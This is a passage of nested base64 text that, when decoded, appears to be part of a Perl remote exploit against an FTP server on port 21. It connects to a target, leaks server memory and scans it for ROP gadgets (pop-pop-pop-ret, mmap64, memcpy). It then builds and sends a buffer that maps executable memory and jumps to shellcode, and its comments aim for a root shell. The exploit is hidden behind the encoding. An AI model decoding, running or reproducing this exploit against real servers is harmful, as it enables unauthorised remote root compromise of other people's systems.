dJbHg0TURBaUlIZ2dKR0ZzYVdkdUlDNGdJbHg0Wm1ZaUlDNGdKSE4wWVdOcklDNGdJbHh1DQogICAgSWpzS0NRb0pkbVZqSUNna2NtWmtMQ0JtYVd4bGJtOG9KSE52WTJzcExDQXhLU0E5SURFN0Nnb0pKSFJwYldWdmRYUWdQU0F4T3dvZw0KICAgIElDQWdhV1lnS0hObGJHVmpkQ0FvSkhKbVpDd2dkVzVrWldZc0lIVnVaR1ZtTENBa2RHbHRaVzkxZENrZ1BqMGdNQW9nSUNBZ0lDQWcNCiAgICBJQ0FnSUNBZ0ppWWdkbVZqS0NSeVptUXNJR1pwYkdWdWJ5Z2tjMjlqYXlrc0lERXBLUW9nSUNBZ2V3b2dJQ0FnSUNBZ2FXWWdLSEpsDQogICAgWVdRb0pITnZZMnNzSUNSaWRXWm1MQ0F3ZUdabVptWXBJRDA5SURCNFptWm1aaWtnZXdvSkNYQnlhVzUwWmlBaVhHNVRWVU5EUlZOVA0KICAgIExpQjNjbWwwWlNneUtTQnBjeUJoZENBbE1EaDRYRzRpTENBa2F6c0pDZ2tKWTJ4dmMyVW9KSE52WTJzcE93b0pDV2R2ZEc4Z2JHSnMNCiAgICBNVHNLQ1FsOUNpQWdJQ0I5Q2lBZ0lDQUtDV05zYjNObEtDUnpiMk5yS1RzS0NYQnlhVzUwWmlBaWQzSnZibWNnZDNKcGRHVW9NaWtnDQogICAgYjJabWMyVjBMbHh1SWpzS0NXVjRhWFE3Q2dwc1ltd3hPZ29qQ1U5dVkyVWdkMlVuY21VZ2FHVnlaU0JqYUdGdVkyVnpJR0Z5WlNCbg0KICAgIGIyOWtJSFJvWVhRZ2QyVWdaMlYwSUhSb1pTQnliMjkwSUhOb1pXeHNDZ29KY0hKcGJuUWdJbEpsWVdScGJtY2diV1Z0YjNKNUlHWnkNCiAgICBiMjBnYzJWeWRtVnlMaTR1WEc0aU93b0piWGtnSkhOdlkyc2dQU0JKVHpvNlUyOWphMlYwT2pwSlRrVlVMVDV1Wlhjb1VHVmxja0ZrDQogICAgWkhJZ1BUNGdKSFJoY21kbGRDd0tJQ0FnSUNBZ0NTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1VHVmxjbEJ2Y25RZw0KICAgIFBUNGdNakVzQ2lBZ0lDQWdJQ0FnSUNBZ0NRa2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQlFjbTkwYnlBZ0lDQTlQaUFuZEdOd0p5azcNCiAgICBDUW9KQ2dra2MzUmhZMnNnUFNBaVMwTlBVRVZTVlV4RldrdERUMUJGVWxWTVJWcExReUlnTGlBaVF5SWdlQ0FrY0dGa1pHbHVaeUF1DQogICAgSUFvSkNRa2djR0ZqYXlnaVZpSXNJQ1JyS1M0Z0lDTWdkM0pwZEdVS0NRa0pJQ0pjZUdOalhIaGpZMXg0WTJOY2VHTmpJaTRLQ1FrSg0KICAgIElDSmNlREF4WEhnd01GeDRNREJjZURBd0lpNEpJeUJtWkNCbWIzSWdkM0pwZEdVS0NRa0pJSEJoWTJzb0lsWWlMQ0FrYXlrdUlDTWcNCiAgICBZblZtWm1WeUlHWnZjaUIzY21sMFpRb0pDUWtnSWx4NFptWmNlR1ptWEhnd1pseDRNREFpT3draklHeGxibWQwYUNCbWIzSWdkM0pwDQogICAgZEdVS0Nna2tkaUE5SUR3a2MyOWphejQ3Q2drS0NYQnlhVzUwSUNSemIyTnJJQ0pjZURBd0lpQjRJQ1JoYkdsbmJpQXVJQ0pjZUdabQ0KICAgIElpQXVJQ1J6ZEdGamF5QXVJQ0pjYmlJN0lBb0pDZ2x5WldGa0tDUnpiMk5yTENBa1luVm1aaXdnTUhobVptWm1aaWs3Q2dvSmFXWWcNCiAgICBLQ2drZGlBOUlHbHVaR1Y0SUNSaWRXWm1MQ0FpWEhnMVJWeDROVVpjZURWRUlpa2dQajBnTUNrZ2V3b0pDU1J3YjNBemNtVjBJRDBnDQogICAgSkdzZ0t5QWtkanNLQ1Fsd2NtbHVkR1lnSW5CdmNDQndiM0FnY0c5d0lISmxkQ0JzYjJOaGRHVmtJR0YwSUNVd09IaGNiaUlzSUNSdw0KICAgIGIzQXpjbVYwT3dvSmZTQmxiSE5sSUhzS0NRbHdjbWx1ZENBaVEyOTFiR1FnYm05MElHWnBibVFnY0c5d0lIQnZjQ0J3YjNBZ2NtVjANCiAgICBYRzRpT3dvSkNXVjRhWFE3Q2dsOUNna0tDV2xtSUNnb0pIWWdQU0JwYm1SbGVDQWtZblZtWml3Z0lseDRPRE5jZUVNMFhIZ3lNRng0DQogICAgTlVKY2VEVkZYSGcxUkZ4NFF6TWlLU0ErUFNBd0tTQjdDZ2tKSkd4aGNtZGxjRzl3Y21WMElEMGdKR3NnS3lBa2Rqc0tDUWx3Y21sdQ0KICAgIGRHWWdJbXhoY21kbElIQnZjQ0J5WlhRZ2JHOWpZWFJsWkNCaGRDQWxNRGg0WEc0aUxDQWtiR0Z5WjJWd2IzQnlaWFE3Q2dsOUlHVnMNCiAgICBjMlVnZXdvSkNYQnlhVzUwSUNKRGIzVnNaQ0J1YjNRZ1ptbHVaQ0J3YjNBZ2NHOXdJSEJ2Y0NCeVpYUmNiaUk3Q2drSlpYaHBkRHNLDQogICAgQ1gwS0NnbHBaaUFvS0NSMklEMGdhVzVrWlhnZ0pHSjFabVlzSUNKY2VFTTNYSGcwTkZ4NE1qUmNlREE0WEhnd00xeDRNREJjZURBdw0KICAgIFhIZ3dNRng0UXpkY2VEQTBYSGd5TkZ4NE1EQmNlREF3WEhnd01GeDRNREJjZURnNVhIZzBORng0TWpSY2VEQTBJaWtnUGowZ01Da2cNCiAgICBld29KQ1NSaFpHUnlNU0E5SUNSckt5UjJLekl6T3dvSkNRb0pDU1J0YldGd05qUWdQU0IxYm5CaFkyc29Ja2tpTENCemRXSnpkSElvDQogICAgSkdKMVptWXNJQ1IyS3pJd0xDQTBLU2s3Q2drSkpHMXRZWEEyTkNBOUlDUmhaR1J5TVNBdElDZ3dlR1ptWm1abVptWm1MU1J0YldGdw0KICAgIE5qUXBPd29KQ1hCeWFXNTBaaUFpYlcxaGNEWTBJR2x6SUd4dlkyRjBaV1FnWVhRZ0pUQTRlRnh1SWl3Z0pHMXRZWEEyTkRzS0NYMGcNCiAgICBaV3h6WlNCN0Nna0phV1lnS0Nna2RpQTlJR2x1WkdWNElDUmlkV1ptTENBaVhIZzRPVng0TkRSY2VESTBYSGd4TUZ4NFFURmNlRUpEDQogICAgWEhoQk5WeDRNRVpjZURBNFhIZzRPVng0TkRSY2VESTBYSGd3TkZ4NFpUZ2lLU0ErUFNBd0tTQjdDZ2tKQ1NSaFpHUnlNU0E5SUNScg0KICAgIEt5UjJLekUzT3dvSkNRb0pDUWtrYlcxaGNEWTBJRDBnZFc1d1lXTnJLQ0pKSWl3Z2MzVmljM1J5S0NSaWRXWm1MQ0FrZGlzeE5Dd2cNCiAgICBOQ2twT3dvSkNRa2tiVzFoY0RZMElEMGdKR0ZrWkhJeElDMGdLREI0Wm1abVptWm1abVl0SkcxdFlYQTJOQ2s3Q2drSkNYQnlhVzUwDQogICAgWmlBaWJXMWhjRFkwSUdseklHeHZZMkYwWldRZ1lYUWdKVEE0ZUZ4dUlpd2dKRzF0WVhBMk5Ec0tDUWw5SUdWc2MyVWdld29KQ1Fsdw0KICAgIGNtbHVkQ0FpUTI5MWJHUWdibTkwSUdacGJtUWdiVzFoY0RZMEtDbGNiaUk3Q2drSkNXVjRhWFE3Q2drSmZRb0pmUW9KQ2drSkNna0oNCiAgICBDZ2tKYVdZZ0tDZ2tkaUE5SUdsdVpHVjRJQ1JpZFdabUxDQWlYSGc0UkZ4NE5EVmNlRVkwWEhnNE9WeDRNRFJjZURJMFhIZzRPVng0DQogICAgTlRSY2VESTBYSGd3T0Z4NE9FSmNlRFUxWEhnd09GeDRPRGxjZURVMFhIZ3lORng0TURSY2VFVTRJaWtnUGowZ01Da2dld29KQ1Fraw0KICAgIFlXUmtjakVnUFNBa2F5c2tkaXN5TVRzS0NRa0pKRzFsYldOd2VTQTlJSFZ1Y0dGamF5Z2lTU0lzSUhOMVluTjBjaWdrWW5WbVppd2cNCiAgICBKSFlyTVRnc0lEUXBLVHNLQ1FrSkpHMWxiV053ZVNBOUlDUmhaR1J5TVNBdElDZ3dlR1ptWm1abVptWm1MU1J0WlcxamNIa3BPd29KDQogICAgQ1Fsd2NtbHVkR1lnSW0xbGJXTndlU0JwY3lCc2IyTmhkR1ZrSUdGMElDVXdPSGhjYmlJc0lDUnRaVzFqY0hrN0Nna0pmU0JsYkhObA0KICAgIElIc0pDUW9KQ1FvSkNXbG1JQ2dvSkhZZ1BTQnBibVJsZUNBa1luVm1aaXdnSWx4NE9FSmNlRFUyWEhneE1GeDRPRGxjZURRMFhIZ3kNCiAgICBORng0TURoY2VEZzVYSGcxTkZ4NE1qUmNlREEwWEhnNFFseDRORFZjZUVVMFhIZzRPVng0TURSY2VESTBYSGhsT0NJcElENDlJREFwDQogICAgSUhzS0NRa0pKR0ZrWkhJeElEMGdKR3NySkhZck1qRTdDZ2tKQ2drSkNTUnRaVzFqY0hrZ1BTQjFibkJoWTJzb0lra2lMQ0J6ZFdKeg0KICAgIGRISW9KR0oxWm1Zc0lDUjJLekU0TENBMEtTazdDZ2tKQ1NSdFpXMWpjSGtnUFNBa1lXUmtjakVnTFNBb01IaG1abVptWm1abVppMGsNCiAgICBiV1Z0WTNCNUtUc0tDUWtKY0hKcGJuUm1JQ0p0WlcxamNIa2dhWE1nYkc5allYUmxaQ0JoZENBbE1EaDRYRzRpTENBa2JXVnRZM0I1DQogICAgT3dvSkNYMGdaV3h6WlNCN0Nna0phV1lnS0Nna2RpQTlJR2x1WkdWNElDUmlkV1ptTENBaVhIZzRPVng0TkRSY2VESTBYSGd3TkZ4NA0KICAgIFFURmNlRUpEWEhnNVJseDRNRVZjZURBNFhIZzRPVng0TURSY2VESTBJaWtnUGowZ01Da2dld29KQ1Fra1lXUmtjakVnUFNBa2F5c2sNCiAgICBkaXN4TmpzS0NRa0tDUWtKSkcxbGJXTndlU0E5SUhWdWNHRmpheWdpU1NJc0lITjFZbk4wY2lna1luVm1aaXdnSkhZck1UTXNJRFFwDQogICAgS1RzS0NRa0pKRzFsYldOd2VTQTlJQ1JoWkdSeU1TQXRJQ2d3ZUdabVptWm1abVptTFNSdFpXMWpjSGtwT3dvSkNRbHdjbWx1ZEdZZw0KICAgIEltMWxiV053ZVNCcGN5QnNiMk5oZEdWa0lHRjBJQ1V3T0hoY2JpSXNJQ1J0WlcxamNIazdDZ2tKZlNCbGJITmxJSHNLQ1FscFppQW8NCiAgICBLQ1IySUQwZ2FXNWtaWGdnSkdKMVptWXNJQ0pjZURnNVhIZzNRMXg0TWpSY2VEQTBYSGc0T1Z4NE1VTmNlREkwWEhnNE9WeDRORFJjDQogICAgZURJMFhIZ3dPQ0lwSUQ0OUlEQXBJSHNLQ1FrSkpHRmtaSEl4SUQwZ0pHc3JKSFlyTVRVN0Nna0pDZ2tKQ1NSdFpXMWpjSGtnUFNCMQ0KICAgIGJuQmhZMnNvSWtraUxDQnpkV0p6ZEhJb0pHSjFabVlzSUNSMkt6RXlMQ0EwS1NrN0Nna0pDU1J0WlcxamNIa2dQU0FrWVdSa2NqRWcNCiAgICBMU0FvTUhobVptWm1abVptWmkwa2JXVnRZM0I1S1RzS0NRa0pjSEpwYm5SbUlDSnRaVzFqY0hrZ2FYTWdiRzlqWVhSbFpDQmhkQ0FsDQogICAgTURoNFhHNGlMQ0FrYldWdFkzQjVPd29KQ2drSmZRa2daV3h6WlNCN0Nna0phV1lnS0Nna2RpQTlJR2x1WkdWNElDUmlkV1ptTENBaQ0KICAgIFhIZzRRbHg0TlRWY2VERXdYSGc0T1Z4NE56UmNlREkwWEhnd05GeDRPRGxjZURBMFhIZ3lORng0T0RsY2VEVTBYSGd5TkZ4NE1EZ2kNCiAgICBLU0ErUFNBd0tTQjdDZ2tKQ1NSaFpHUnlNU0E5SUNSckt5UjJLekU0T3dvSkNRa2tiV1Z0WTNCNUlEMGdkVzV3WVdOcktDSkpJaXdnDQogICAgYzNWaWMzUnlLQ1JpZFdabUxDQWtkaXN4TlN3Z05Da3BPd29KQ1Fra2JXVnRZM0I1SUQwZ0pHRmtaSEl4SUMwZ0tEQjRabVptWm1abQ0KICAgIFptWXRKRzFsYldOd2VTazdDZ2tKQ1hCeWFXNTBaaUFpYldWdFkzQjVJR2x6SUd4dlkyRjBaV1FnWVhRZ0pUQTRlRnh1SWl3Z0pHMWwNCiAgICBiV053ZVRzS0NRbDlJR1ZzYzJVZ2V3b0pDUWtLQ1FrSmNISnBiblFnSWtOdmRXeGtJRzV2ZENCbWFXNWtJRzFsYldOd2VTZ3BYRzRpDQogICAgT3dvSkNRbGxlR2wwT3drS0NRbDlDZ2tKZlFvSkNYMEtDUWw5Q1FvSmZRb0pDZ2xwWmlBb0tDUjJJRDBnYVc1a1pYZ2dKR0oxWm1Zcw0KICAgIElDSmNlR1pqWEhnNFlpSXBJRDQ5SURBcElIc0tDUWtrWW5sMFpURWdQU0FrYXlza2Rqc0tDUWx3Y21sdWRHWWdLQ0ppZVhSbE1Ub2cNCiAgICBKVEE0ZUZ4dUlpd2dKR0o1ZEdVeEtUc0pDZ2w5SUdWc2MyVWdld29KQ1hCeWFXNTBJQ0pEYjNWc1pDQnViM1FnWm1sdVpDQmhJSE53DQogICAgWldOcFlXd2dZbmwwWlZ4dUlqc0tDUWxsZUdsME93a0tDWDBLQ1FvSmFXWWdLQ2drZGlBOUlHbHVaR1Y0SUNSaWRXWm1MQ0FpWEhobQ0KICAgIE5DSXBJRDQ5SURBcElIc0tDUWtrWW5sMFpUSWdQU0FrYXlza2Rqc0tDUWx3Y21sdWRHWWdLQ0ppZVhSbE1qb2dKVEE0ZUZ4dUlpd2cNCiAgICBKR0o1ZEdVeUtUc0tDWDBnWld4elpTQjdDZ2tKY0hKcGJuUWdJa052ZFd4a0lHNXZkQ0JtYVc1a0lHRWdjM0JsWTJsaGJDQmllWFJsDQogICAgWEc0aU93b0pDV1Y0YVhRN0NRb0pmUW9KQ2dscFppQW9LQ1IySUQwZ2FXNWtaWGdnSkdKMVptWXNJQ0pjZUdKbUlpa2dQajBnTUNrZw0KICAgIGV3b0pDU1JpZVhSbE15QTlJQ1JyS3lSMk93b0pDWEJ5YVc1MFppQW9JbUo1ZEdVek9pQWxNRGg0WEc0aUxDQWtZbmwwWlRNcE93a0sNCiAgICBDWDBnWld4elpTQjdDZ2tKY0hKcGJuUWdJa052ZFd4a0lHNXZkQ0JtYVc1a0lHRWdjM0JsWTJsaGJDQmllWFJsWEc0aU93b0pDV1Y0DQogICAgYVhRN0NRb0pmUW9KQ2dscFppQW9LQ1IySUQwZ2FXNWtaWGdnSkdKMVptWXNJQ0pjZURBd1hIZ3dNVng0TURBaUtTQStQU0F3S1NCNw0KICAgIENna0pKR0o1ZEdVMElEMGdKR3NySkhZN0Nna0pjSEpwYm5SbUlDZ2lZbmwwWlRRNklDVXdPSGhjYmlJc0lDUmllWFJsTkNrN0NRb0oNCiAgICBmU0JsYkhObElIc0tDUWx3Y21sdWRDQWlRMjkxYkdRZ2JtOTBJR1pwYm1RZ1lTQnpjR1ZqYVdGc0lHSjVkR1ZjYmlJN0Nna0paWGhwDQogICAgZERzSkNnbDlDZ29KYVdZZ0tDZ2tkaUE5SUdsdVpHVjRJQ1JpZFdabUxDQWlYSGd4TUNJcElENDlJREFwSUhzS0NRa2tZbmwwWlRVZw0KICAgIFBTQWtheXNrZGpzS0NRbHdjbWx1ZEdZZ0tDSmllWFJsTlRvZ0pUQTRlRnh1SWl3Z0pHSjVkR1UxS1RzSkNnbDlJR1ZzYzJVZ2V3b0oNCiAgICBDWEJ5YVc1MElDSkRiM1ZzWkNCdWIzUWdabWx1WkNCaElITndaV05wWVd3Z1lubDBaVnh1SWpzS0NRbGxlR2wwT3drS0NYMEtDUW9KDQogICAgYVdZZ0tDZ2tkaUE5SUdsdVpHVjRJQ1JpZFdabUxDQWlYSGhDT1Z4NE1EQmNlREF5WEhnd01GeDRNREFpS1NBK1BTQXdLU0I3Q2drSg0KICAgIEpHSjVkR1UySUQwZ0pHc3JKSFk3Q2drSmNISnBiblJtSUNnaVlubDBaVFk2SUNVd09IaGNiaUlzSUNSaWVYUmxOaWs3Q1FvSmZTQmwNCiAgICBiSE5sSUhzS0NRbHdjbWx1ZENBaVEyOTFiR1FnYm05MElHWnBibVFnWVNCemNHVmphV0ZzSUdKNWRHVmNiaUk3Q2drSlpYaHBkRHNKDQogICAgQ2dsOUNna0tDZ2xwWmlBb0tDUjJJRDBnYVc1a1pYZ2dKR0oxWm1Zc0lDSmNlR1l6SWlrZ1BqMGdNQ2tnZXdvSkNTUmllWFJsTnlBOQ0KICAgIElDUnJLeVIyT3dvSkNYQnlhVzUwWmlBb0ltSjVkR1UzT2lBbE1EaDRYRzRpTENBa1lubDBaVGNwT3drS0NYMGdaV3h6WlNCN0Nna0oNCiAgICBjSEpwYm5RZ0lrTnZkV3hrSUc1dmRDQm1hVzVrSUdFZ2MzQmxZMmxoYkNCaWVYUmxYRzRpT3dvSkNXVjRhWFE3Q1FvSmZRb0pDZ2xwDQogICAgWmlBb0tDUjJJRDBnYVc1a1pYZ2dKR0oxWm1Zc0lDSmNlRUUwSWlrZ1BqMGdNQ2tnZXdvSkNTUmllWFJsT0NBOUlDUnJLeVIyT3dvSg0KICAgIENYQnlhVzUwWmlBb0ltSjVkR1U0T2lBbE1EaDRYRzRpTENBa1lubDBaVGdwT3dvSmZTQmxiSE5sSUhzS0NRbHdjbWx1ZENBaVEyOTENCiAgICBiR1FnYm05MElHWnBibVFnWVNCemNHVmphV0ZzSUdKNWRHVmNiaUk3Q2drSlpYaHBkRHNKQ2dsOUNna0tDV2xtSUNnb0pIWWdQU0JwDQogICAgYm1SbGVDQWtZblZtWml3Z0lseDRaV0pjZUdabUlpa2dQajBnTUNrZ2V3b0pDU1JpZVhSbE9TQTlJQ1JyS3lSMk93b0pDWEJ5YVc1MA0KICAgIFppQW9JbUo1ZEdVNU9pQWxNRGg0WEc0aUxDQWtZbmwwWlRrcE93b0pmU0JsYkhObElIc0tDUWx3Y21sdWRDQWlRMjkxYkdRZ2JtOTANCiAgICBJR1pwYm1RZ1lTQnpjR1ZqYVdGc0lHSjVkR1ZjYmlJN0Nna0paWGhwZERzSkNnbDlDZ2tLSXlCemFHVnNiR052WkdVZ1kyOXdlU0J5DQogICAgYjNWMGFXNWxPZ29qTURFd01EYzBNRUlnSUNBZ0lFWkRJQ0FnSUNBZ0lDQWdJQ0FnSUVOTVJBb2pNREV3TURjME1FTWdJQ0FnSURoQw0KICAgIFJqUWdJQ0FnSUNBZ0lDQWdJRTFQVmlCRlUwa3NSVk5RQ2lNd01UQXdOelF3UlNBZ0lDQWdRa1lnTURBd01UQXdNVEFnSUNBZ1RVOVcNCiAgICBJRVZFU1N3eE1EQXdNREV3TUFvak1ERXdNRGMwTVRNZ0lDQWdJRUk1SURBd01ESXdNREF3SUNBZ0lFMVBWaUJGUTFnc01qQXdDaU13DQogICAgTVRBd056UXhPQ0FnSUNBZ1JqTTZRVFFnSUNBZ0lDQWdJQ0FnVWtWUUlFMVBWbE1nUWxsVVJTQlFWRklnUlZNNlcwVkVTVjBzUWxsVQ0KICAgIFJTQlFWRklnUkZNNld6NEtJd2tKQ1NBZ1JVSWdSa1lnQ1FrZ1NrMVFJQ3N3ZUVaR0NRa0tJeUJHUXlBNFFna0tJeUJHTkNCQ1Jnb2oNCiAgICBJREF3SURBeElEQXdDaU1nTVRBS0l5QkNPU0F3TUNBd01pQXdNQ0F3TUFvaklFWXpPa0UwQ2lNZ1JVSWdSa1lLQ2lNZ1JXd3hWR1VnDQogICAgV0MxUWJHOXBkQ0JVWldOb1RtbHhWV1VnS0VNcENnb0pjSEpwYm5RZ0lrSjFhV3hrYVc1bklHVjRjR3h2YVhRZ1luVm1abVZ5WEc0aQ0KICAgIE93b0tDU1J6ZEdGamF5QTlJQ0pMUTA5UVJWSlZURVZhUzBOUFVFVlNWVXhGV2t0RElpQXVJQ0pESWlCNElDUndZV1JrYVc1bklDNGcNCiAgICBDZ2tKQ1NCd1lXTnJLQ0pXSWl3Z0pHMXRZWEEyTkNrdUlDTWdiVzFoY0RZMEtDa0tDUWtKSUhCaFkyc29JbFlpTENBa2JHRnlaMlZ3DQogICAgYjNCeVpYUXBMaUFqSUdGa1pDQWdJQ0FnWlhOd0xDQXlNR2c3SUhCdmNEc2djRzl3Q2drSkNTQWlYSGd3TUZ4NE1EQmNlREF3WEhneA0KICAgIE1DSXVJQ01nYlcxaGNDQnpkR0Z5ZEFvSkNRa2dJbHg0TURCY2VERXdYSGd3TUZ4NE1EQWlMaUFqSUcxdFlYQWdjMmw2WlFvSkNRa2cNCiAgICBJbHg0TURkY2VEQXdYSGd3TUZ4NE1EQWlMaUFqSUcxdFlYQWdjSEp2ZEFvSkNRa2dJbHg0TXpKY2VEQXdYSGd3TUZ4NE1EQWlMaUFqDQogICAgSUcxdFlYQWdabXhoWjNNS0NRa0pJQ0pjZUdabVhIaG1abHg0Wm1aY2VHWm1JaTRnSXlCdGJXRndJR1prQ2drSkNTQWlYSGd3TUZ4NA0KICAgIE1EQmNlREF3WEhnd01DSXVJQ01nYlcxaGNDQnZabVp6WlhRS0NRa0pJQ0pjZURBd1hIZ3dNRng0TURCY2VEQXdJaTRnSXlCdGJXRncNCiAgICBJRzltWm5ObGRBa0pDU0FLQ1FrSklDSmNlREF3WEhnd01GeDRNREJjZURBd0lpNEtDUWtKSUNKY2VEQXdYSGd3TUZ4NE1EQmNlREF3DQogICAgSWk0S0NRa0pJQ0pjZURBd1hIZ3dNRng0TURCY2VEQXdJaTRLQ1FrSklDSmNlREF3WEhnd01GeDRNREJjZURBd0lpNEtDUWtKSUhCaA0KICAgIFkyc29JbFlpTENBa2JXVnRZM0I1S1M0Z0l5QnRaVzFqY0hrb0tRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXpjbVYwS1M0Z0l5QncNCiAgICBiM0E3SUhCdmNEc2djRzl3T3lCeVpYUnVDZ2tKQ1NBaVhIZ3dNRng0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6ZEdsdVlYUnBiMjRLDQogICAgQ1FrSklIQmhZMnNvSWxZaUxDQWtZbmwwWlRFcExpQWpJRzl5YVdkcGJnb0pDUWtnSWx4NE1ESmNlREF3WEhnd01GeDRNREFpTGlBag0KICAgIElHNTFiV0psY2lCdlppQmllWFJsY3lCMGJ5QmpiM0I1Q2drSkNTQUtDUWtKSUhCaFkyc29JbFlpTENBa2JXVnRZM0I1S1M0Z0l5QnQNCiAgICBaVzFqY0hrb0tRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXpjbVYwS1M0Z0l5QndiM0E3SUhCdmNEc2djRzl3T3lCeVpYUnVDZ2tKDQogICAgQ1NBaVhIZ3dNbHg0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6ZEdsdVlYUnBiMjRLQ1FrSklIQmhZMnNvSWxZaUxDQWtZbmwwWlRJcA0KICAgIExpQWpJRzl5YVdkcGJnb0pDUWtnSWx4NE1ERmNlREF3WEhnd01GeDRNREFpTGlBaklHNTFiV0psY2lCdlppQmllWFJsY3lCMGJ5QmoNCiAgICBiM0I1Q2dvSkNRa2djR0ZqYXlnaVZpSXNJQ1J0WlcxamNIa3BMaUFqSUcxbGJXTndlU2dwQ2drSkNTQndZV05yS0NKV0lpd2dKSEJ2DQogICAgY0ROeVpYUXBMaUFqSUhCdmNEc2djRzl3T3lCd2IzQTdJSEpsZEc0S0NRa0pJQ0pjZURBelhIZ3dNRng0TURCY2VERXdJaTRnSXlCaw0KICAgIFpYTjBhVzVoZEdsdmJnb0pDUWtnY0dGamF5Z2lWaUlzSUNSaWVYUmxNeWt1SUNNZ2IzSnBaMmx1Q2drSkNTQWlYSGd3TVZ4NE1EQmMNCiAgICBlREF3WEhnd01DSXVJQ01nYm5WdFltVnlJRzltSUdKNWRHVnpJSFJ2SUdOdmNIa0tDUWtKSUFrSkNTQUtDUWtKSUhCaFkyc29JbFlpDQogICAgTENBa2JXVnRZM0I1S1M0Z0l5QnRaVzFqY0hrb0tRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXpjbVYwS1M0Z0l5QndiM0E3SUhCdg0KICAgIGNEc2djRzl3T3lCeVpYUnVDZ2tKQ1NBaVhIZ3dORng0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6ZEdsdVlYUnBiMjRLQ1FrSklIQmgNCiAgICBZMnNvSWxZaUxDQWtZbmwwWlRRcExpQWpJRzl5YVdkcGJnb0pDUWtnSWx4NE1ETmNlREF3WEhnd01GeDRNREFpTGlBaklHNTFiV0psDQogICAgY2lCdlppQmllWFJsY3lCMGJ5QmpiM0I1Q2drSkNTQUtDUWtKSUhCaFkyc29JbFlpTENBa2JXVnRZM0I1S1M0Z0l5QnRaVzFqY0hrbw0KICAgIEtRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXpjbVYwS1M0Z0l5QndiM0E3SUhCdmNEc2djRzl3T3lCeVpYUnVDZ2tKQ1NBaVhIZ3cNCiAgICBOMXg0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6ZEdsdVlYUnBiMjRLQ1FrSklIQmhZMnNvSWxZaUxDQWtZbmwwWlRVcExpQWpJRzl5DQogICAgYVdkcGJnb0pDUWtnSWx4NE1ERmNlREF3WEhnd01GeDRNREFpTGlBaklHNTFiV0psY2lCdlppQmllWFJsY3lCMGJ5QmpiM0I1Q2drSg0KICAgIENTQUtDUWtKSUhCaFkyc29JbFlpTENBa2JXVnRZM0I1S1M0Z0l5QnRaVzFqY0hrb0tRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXoNCiAgICBjbVYwS1M0Z0l5QndiM0E3SUhCdmNEc2djRzl3T3lCeVpYUnVDZ2tKQ1NBaVhIZ3dPRng0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6DQogICAgZEdsdVlYUnBiMjRLQ1FrSklIQmhZMnNvSWxZaUxDQWtZbmwwWlRZcExpQWpJRzl5YVdkcGJnb0pDUWtnSWx4NE1EVmNlREF3WEhndw0KICAgIE1GeDRNREFpTGlBaklHNTFiV0psY2lCdlppQmllWFJsY3lCMGJ5QmpiM0I1Q2dvSkNRa2djR0ZqYXlnaVZpSXNJQ1J0WlcxamNIa3ANCiAgICBMaUFqSUcxbGJXTndlU2dwQ2drSkNTQndZV05yS0NKV0lpd2dKSEJ2Y0ROeVpYUXBMaUFqSUhCdmNEc2djRzl3T3lCd2IzQTdJSEpsDQogICAgZEc0S0NRa0pJQ0pjZURCa1hIZ3dNRng0TURCY2VERXdJaTRnSXlCa1pYTjBhVzVoZEdsdmJnb0pDUWtnY0dGamF5Z2lWaUlzSUNSaQ0KICAgIGVYUmxOeWt1SUNNZ2IzSnBaMmx1Q2drSkNTQWlYSGd3TVZ4NE1EQmNlREF3WEhnd01DSXVJQ01nYm5WdFltVnlJRzltSUdKNWRHVnoNCiAgICBJSFJ2SUdOdmNIa0tDZ2tKQ1NCd1lXTnJLQ0pXSWl3Z0pHMWxiV053ZVNrdUlDTWdiV1Z0WTNCNUtDa0tDUWtKSUhCaFkyc29JbFlpDQogICAgTENBa2NHOXdNM0psZENrdUlDTWdjRzl3T3lCd2IzQTdJSEJ2Y0RzZ2NtVjBiZ29KQ1FrZ0lseDRNR1ZjZURBd1hIZ3dNRng0TVRBaQ0KICAgIExpQWpJR1JsYzNScGJtRjBhVzl1Q2drSkNTQndZV05yS0NKV0lpd2dKR0o1ZEdVNEtTNGdJeUJ2Y21sbmFXNEtDUWtKSUNKY2VEQXgNCiAgICBYSGd3TUZ4NE1EQmNlREF3SWk0Z0l5QnVkVzFpWlhJZ2IyWWdZbmwwWlhNZ2RHOGdZMjl3ZVFvSkNRa2dDZ2tKQ1NCd1lXTnJLQ0pXDQogICAgSWl3Z0pHMWxiV053ZVNrdUlDTWdiV1Z0WTNCNUtDa0tDUWtKSUhCaFkyc29JbFlpTENBa2NHOXdNM0psZENrdUlDTWdjRzl3T3lCdw0KICAgIGIzQTdJSEJ2Y0RzZ2NtVjBiZ29KQ1FrZ0lseDRNR1pjZURBd1hIZ3dNRng0TVRBaUxpQWpJR1JsYzNScGJtRjBhVzl1Q2drSkNTQncNCiAgICBZV05yS0NKV0lpd2dKR0o1ZEdVNUtTNGdJeUJ2Y21sbmFXNEtDUWtKSUNKY2VEQXlYSGd3TUZ4NE1EQmNlREF3SWk0Z0l5QnVkVzFpDQogICAgWlhJZ2IyWWdZbmwwWlhNZ2RHOGdZMjl3ZVFvSkNRa2dDZ2tKQ1NBaVhIZ3dNRng0TURCY2VEQXdYSGd4TUNJdUlDTWdTbFZOVUNCVQ0KICAgIFR5QXdlREV3TURBd01EQXdJSEozZUhBZ1lXUmtjbVZ6Y3drSkNTQUtDZ2tKQ1NBaVhIZzVNQ0lnZUNBeE1EQWdMaUFrYzJobGJHeGoNCiAgICBiMlJsSUM0Z0lseDRPVEFpSUhnZ01UQTdDUWtLQ1FvSmNISnBiblFnSWxObGJtUnBibWNnWlhod2JHOXBkQ0JpZFdabVpYSWhYRzRpDQogICAgT3dvSkNnbHRlU0FrYzI5amF5QTlJRWxQT2pwVGIyTnJaWFE2T2tsT1JWUXRQbTVsZHloUVpXVnlRV1JrY2lBOVBpQWtkR0Z5WjJWMA0KICAgIExBb2dJQ0FnSUNBSklDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQ